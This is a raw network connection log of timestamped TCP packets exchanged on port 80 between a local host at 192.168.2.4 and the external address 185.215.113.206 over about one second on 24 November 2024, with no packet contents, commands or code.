Nov 24, 2024 02:13:24.787471056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.787523985 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.787617922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.787899971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.788286924 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.788378954 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.789144993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.789360046 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.791347980 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.791400909 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.791518927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.791620970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.792009115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.792026997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.792043924 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.792056084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.792059898 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.792069912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.792092085 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.792105913 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.792614937 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.792674065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.792757034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.792814970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.793447971 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.793498039 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.793602943 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.793658972 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.794229031 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.794289112 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.794380903 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.794426918 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.795181990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.795253038 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.795346975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.795420885 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.795958996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.796021938 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.796101093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.796163082 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.796720028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.796787024 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.796870947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.796911001 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.797271967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.797291040 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.797307968 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.797321081 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.797336102 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.797357082 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.797405958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.797718048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.798124075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.798171997 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.798213005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.798257113 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.798929930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.798981905 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.799030066 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.799073935 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.799793959 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.799839973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.799885988 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.799927950 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.800605059 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.800713062 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.800734043 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.800751925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.801400900 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.801508904 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.801522017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.801549911 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.802206039 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.802258968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.802300930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.802345037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.803076029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.803147078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.803186893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.803239107 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.803858042 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.803909063 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.803951025 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.804033041 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.804691076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.804742098 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.804780960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.804944038 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.805495977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.805538893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.805586100 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.805665970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.806310892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.806351900 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.806399107 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.806448936 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.807178020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.807243109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.807391882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.807447910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.807985067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.808038950 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.808079958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.808299065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.808783054 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.808835983 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.808962107 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.809020042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.809591055 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.809645891 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.809701920 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.809752941 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.810400963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.810461044 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.810501099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.810544014 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.811227083 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.811273098 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.811327934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.811382055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.812105894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.812186956 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.812215090 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.812252045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.812886000 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.812962055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.812994957 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.813050985 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.813739061 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.813788891 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.813893080 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.813945055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.814523935 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.814573050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.814718008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.814759016 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.815346003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.815404892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.815444946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.815483093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.816158056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.816210032 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.816255093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.816389084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.816952944 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.817003965 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.817050934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.817087889 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.817724943 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.817775011 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.976238966 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.976325035 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.976351023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.976397038 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.976537943 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.976589918 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.976638079 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.976768017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.977349043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.977426052 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.977469921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.977514982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.978159904 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.978212118 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.978266001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.978306055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.978976965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.979036093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.979082108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.979123116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.979837894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.979923010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.979957104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.980024099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.980622053 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.980711937 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.980745077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.980762005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.981447935 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.981492996 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.981568098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.981615067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.982304096 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.982357979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.982397079 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.982445002 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.983107090 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.983177900 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.983217001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.983350992 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.983911991 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.983957052 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.984052896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.984119892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.984716892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.984764099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.984836102 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.984885931 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.985533953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.985608101 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.985630989 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.985676050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.986370087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.986453056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.986491919 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.986613989 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.987196922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.987307072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.987323999 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.987339020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.988003969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.988049984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.988099098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.988140106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.988831997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.988883018 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.988929033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.988967896 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.989641905 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.989689112 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.989733934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.989922047 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.990484953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.990562916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.990596056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.990673065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.991333961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.991395950 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.991441965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.991529942 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.992091894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.992142916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.992201090 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.992297888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.992929935 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.992978096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.993021965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.993092060 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.993743896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.993798971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.993849039 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.993937969 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.994568110 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.994622946 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.994674921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.994800091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.995390892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.995479107 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.995497942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.995577097 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.996220112 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.996265888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.996314049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.996422052 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.997065067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.997155905 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.997164965 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.997199059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.997826099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.997945070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.997951984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.998027086 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.998667002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.998717070 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.998783112 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.998898029 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.999473095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.999562025 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.999578953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.999741077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.000305891 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.000392914 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.000437975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.000474930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.001173019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.001224995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.001276970 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.001377106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.001960993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.002008915 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.002085924 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.002180099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.002764940 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.002816916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.002830029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.002940893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.040261984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.159943104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.486285925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.486382961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.486398935 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.486634970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.486721039 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.486759901 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.486804008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.486890078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.487541914 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.487588882 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.487621069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.487807035 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.488383055 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.488426924 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.488498926 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.488538980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.489166021 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.489211082 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.489234924 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.489340067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.489981890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.490044117 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.490087032 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.490808010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.490854025 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.490885019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.490931034 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.491605997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.491651058 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.491718054 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.491784096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.492461920 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.492510080 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.492563963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.492604017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.493288040 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.493339062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.493421078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.493465900 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.494091034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.494133949 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.494223118 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.494282007 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.494893074 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.494937897 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.495012999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.495058060 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.495719910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.495815039 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:25.495841980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.495855093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:25.496562004 CET	80	49748	185.215.113.206	192.168.2.4
